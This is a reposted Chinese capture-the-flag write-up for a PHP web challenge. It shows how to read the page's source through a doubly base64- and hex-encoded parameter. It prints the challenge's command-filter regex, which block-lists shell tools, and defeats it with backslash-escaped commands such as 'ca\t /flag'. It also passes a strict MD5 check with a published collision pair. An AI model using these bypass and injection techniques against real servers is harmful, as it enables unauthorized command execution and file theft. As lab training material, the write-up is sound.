本文共 2106 字，大约阅读时间需要 7 分钟。

首先这个链接长得挺奇怪的，img参数后面跟的有点像base64编码。

解码后得到MzUzNTM1MmU3MDZlNjc= 这个还是base64，再次解码得到3535352e706e67 这玩意看起来有点像十六进制，转一下字符串，得到555.png

查看一下源码，发现有一堆base64，解成图片就是页面上的表情包。

猜测img参数的作用就是将对象包含并进行转16进制再base64编码后输出，试一试包含index.php

index.php696e6465782e706870Njk2ZTY0NjU3ODJlNzA2ODcwCg==TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

将TmprMlpUWTBOalUzT0RKbE56QTJPRGN3放入img参数进行上传得到：

将里面的base64解码一下，得到：

   ';    die("xixi～ no flag");} else {    $txt = base64_encode(file_get_contents($file));    echo "";    echo "
";}echo $cmd;echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {    echo("forbid ~");    echo "
";} else {    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {        echo `$cmd`;    } else {        echo ("md5 is funny ~");    }}?>

然后开始代码审计。

这里最重要的一段代码是

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {     //跟这里匹配到了就会结束代码，所以需要绕过    echo("forbid ~");    echo "
";} else {    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {    //a和b的内容不一样但是需要md5值一样        echo `$cmd`;          //将cmd当成系统命令执行并输出    } else {        echo ("md5 is funny ~");    }}

绕过preg_match的话可以使用\绕过，比如在linux下执行l\s，效果等同于ls

至于md5碰撞的话，本来可以用数组绕过，但是这里使用了（String）强制转换，数组被强制转换的结果都为string(5) "Array" 所以要用下面的一组数据绕过

$a = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2";&$b = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2";

这两串数据的url解码后的结果md5值相同，所以是强碰撞。

放放BurpSuit 运行一下。 发现目录下面没有flag，那就看看根目录下ls /。 在burp中如果使用空格会被识别为其他的参数，所以这里空格用%20替换，ls中间使用反斜杠隔开：l\s%20/ 然后cat flag =>ca\t%20/f\l\a\g

转载地址：http://rxpbi.baihongyu.com/